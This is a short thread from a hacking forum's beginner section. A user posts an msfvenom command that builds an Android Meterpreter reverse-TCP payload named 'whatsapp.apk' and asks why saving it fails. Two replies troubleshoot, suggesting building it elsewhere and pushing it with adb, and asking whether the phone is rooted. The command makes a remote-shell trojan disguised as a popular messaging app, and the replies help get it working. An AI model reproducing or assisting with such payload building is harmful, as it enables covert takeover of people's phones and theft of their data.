Hack Forums
Metasploit payload error - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Grayhat • Purple Team • Hybrid Security (https://hackforums.net/forumdisplay.php?fid=449)
+---- Forum: Beginner Hacking (https://hackforums.net/forumdisplay.php?fid=4)
+---- Thread: Metasploit payload error (/showthread.php?tid=5964760)



Metasploit payload error - punk1986 - Apr 28, 2019

I am trying to create metasploit payload using termux on my android phone. I am a beginner. I am giving the following command

msf > ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=inet address LPORT=4444 R> /storage/whatsapp.apk (I am writing STORAGE as destinaion to save the APK file, as I dont have a sdcard. I have checked the setting in termux, where storage permission has been allowed.)

I am getting the following error.

[*]exec: ruby msfvenom -p android/meterpreter/reverse_tcp LHOST=inet address LPORT=4444 R> /storage/whatsapp.apk

sh: 1: cannot create /storage/whatsapp.apk: Permission denied

Please help.


Any guidance will be much appreciated.


RE: Metasploit payload error - CyberStrike - Apr 28, 2019

Save to the folder you wish on your machine first, then move it over with adb. Make sure that you have developer mode enabled on the android device.


RE: Metasploit payload error - Faith Connors - Apr 28, 2019

are you rooted?
the error would suggest that you're not but maybe it's something else.